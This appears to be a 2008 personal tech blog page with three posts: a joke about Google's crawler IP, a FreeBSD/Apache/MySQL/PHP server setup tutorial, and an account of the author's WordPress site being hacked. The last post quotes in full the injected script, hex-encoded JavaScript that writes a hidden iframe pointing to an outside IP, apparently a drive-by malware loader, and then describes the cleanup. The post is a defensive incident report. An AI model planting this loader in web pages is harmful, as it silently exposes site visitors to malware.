Google Spider IP Address

Posted on May 14th, 2008 in Fun Stuff, Google, SEM/SEO, Web | No Comments »

I thought this was pretty funny:

While Google’s spider “crawled” the whatsmyip.org site it managed to record it’s own IP in the title and publish it in the Google SERPS. Funny stuff.

How to Setup a FreeBSD 6 Webserver - FAMP Server

Posted on February 2nd, 2008 in Computers, Servers/Hosting, Unix/Linux, Web | 6 Comments »

Here it is, the meat and potatoes of setting up a FAMP server (FreeBSD 6.3, Apache, MySQL, PHP/Perl). Keep in mind these instructions are exactly what I do step by step to setup a FreeBSD webserver. Originally when I started with FreeBSD I couldn’t find a solid source of reliable information on how to set all this up. Every time I would ask someone for some good instruction I was always directed to www.freebsd.org. I have to tell you it is extremely overwhelming for me at that time to even understand anything off of that site’s directions - as well written as it is.
Over the last few years I have come across some decent walkthroughs and tutorials but 90% of them were still either out dated or lacking 1 or 2 steps that can really jack things up. I have really tried to make this tutorial as straight forward as possible, no BS and no info that’s going to waste your time.

Before I install anything I always make sure I have the latest release of FreeBSD installed with the Developer distribution. Many tutorials out there tell you to install the bare minimum of FreeBSD with the “Minimum” distro, I recommend Developer. If you need a good step by step on how to install FreeBSD (6.2 & 6.3) then click here. Remember, instead of selecting the minimal option on the Distributions screen, choose Developer.

Once you have FreeBSD installed the steps below will show you how to setup and configure a full FAMP server. Good luck!

# cd /usr/ports/lang/php5
# make config
select: Apache
# make install

# cd /usr/ports/lang/php5-extensions
# make config
select: bcmath, bz2, ctype, curl, dom, ftp, gd, gettext, mbstring, mysql, pcre, posix, pdo, session, simplexml, sqlite, xml, zlib (also by default there are many options pre-selected including some of the ones listed here, make sure to leave those checked).
# make install

Usually after everything is done you will notice a few mysql errors appear, run this command:

# pkg_add -r mysql50-server

Now before editing any file on my system I always make a backup of it:
# cp /usr/local/etc/apache/httpd.conf /usr/local/etc/apache/httpd.conf.orig

Now let’s edit your Apache config file to get everything configured properly:
# edit /usr/local/etc/apache/httpd.conf

Change the default listen address to the IP address of your webserver.

#Listen 12.34.56.78:80
To:
#Listen 192.168.1.10:80 (example, use your machines IP Address)

Change the email address of the ServerAdmin to your email address or the address of the person in charge on this server:

#ServerAdmin you@your.address (use your email address)

Change the ServerName option, if you don’t have a fully qualified domain name please change this to the servers IP address:

#ServerName www.example.com
To:
#ServerName 192.168.1.10 (example, use your machines IP Address - for internal, intranet implementations)
Or:
#ServerName www.peter-v.com (example, use your domain name if you have one and your going to point DNS to that machine)

# Add a DirectoryIndex option:
DirectoryIndex index.php index.html index.htm index.php3 index.php4

# In the AddType section add the following for PHP:
AddType application/x-httpd-php .php .htm .html
AddType application/x-httpd-php-source .phps

Now exit and save, your all done with Apache.

# echo ‘/usr/local/sbin/apachectl start’ >> /etc/rc.local

Now let’s configure MySQL:

# cp /usr/local/share/mysql/my-medium.cnf /etc/my.cnf
# echo ‘mysql_enable=”YES”‘ >> /etc/rc.conf

# /usr/local/bin/mysql_install_db
# chown -R mysql:mysql /var/db/mysql
# /usr/local/share/mysql/mysql.server start

If the command: # /usr/local/share/mysql/mysql.server start doesn’t work or fails, try this command:
# /usr/local/etc/rc.d/mysql-server.sh start

# /usr/local/bin/mysqladmin -u root -h Hostname.domainname.tld password ‘YourPassword’
# /usr/local/bin/mysqladmin -u root password ‘YourPassword’

Example:

# /usr/local/bin/mysqladmin -u root -h webserver.peter-v.com password ’secret’
# /usr/local/bin/mysqladmin -u root password ’secret’

Now let’s install Perl DBI and DBD Support (which many apps need that run using Apache and MySQL):

# cd /usr/ports/databases/p5-DBI && make install && make clean
# cd /usr/ports/databases/p5-DBD-mysql50 && make install && make clean

Reboot.

That’s it, your all done and now you’ve got yourself a FAMP Webserver.

Tips:

If at anytime in this tutorial a command doesn’t work, try rebooting first. Sometimes after installing certain applications or components it is required to reboot before being able to utilize it. After a quick reboot it always works.

I would love to hear your comments and if you have any suggestions or issues with this tutorial please leave a comment, thanks!

FreeBSD

WordPress 2.3 Security Vulnerability

Posted on December 9th, 2007 in Security, Web | No Comments »

I really hate when this happens but it does and it is somewhat a regular thing when you manage as many websites as I do. Today I found someone hacked into my blog (this one) and added a bullshit script to my header template.

I am not sure exactly what this script does since I use Linux and Firefox 2 but when I checked out my site on my wife’s computer (Microsoft Windows Vista & IE7) a ton of crap started happening. My web browser froze, my anti-virus was alerting me of potential viruses, and a bunch of Windows errors popped up including the BSOD (isn’t blue screens a thing of the past? LOL).

Anyways I took several steps to ensure whatever or whoever got in was blocked; I notified my host to block the IP receiving whatever information from that bullshit script. Here is what I found:

<script> var s=’3C696672616D65207372633D22687474703A2F2F31
39352E352E3131362E3235302F65782F7374617469632E706870222077
696474683D32206865696768743D32207374796C653D22646973706C61
793A6E6F6E65223E3C2F696672616D653E’; var o=”; for(i=0;i<s
.length;i=i+2) { var c=String.fromCharCode(37); o=o+c+s.
substr(i,2);} document.write(unescape(o)); </script>

The IP address is: 195.5.116.250

After catching this I quickly changed my server passwords, verified that ftp was disabled and the ports were closed (along with all other unused ports), and chmod 755 (instead of 777) the world-writable and uploads directories. After I removed the script from the header I also did a full blown search on every template file. Problem solved.

These kind of things always happen and my advice is to always check html for any changes. It is also very important to change your passwords regularly and keep your ftp ports CLOSED, only use SSH or SFTP if you can. I also have added checking file permissions to my security checklist, every week or so I plan to run through my web files and verify no changes have been made.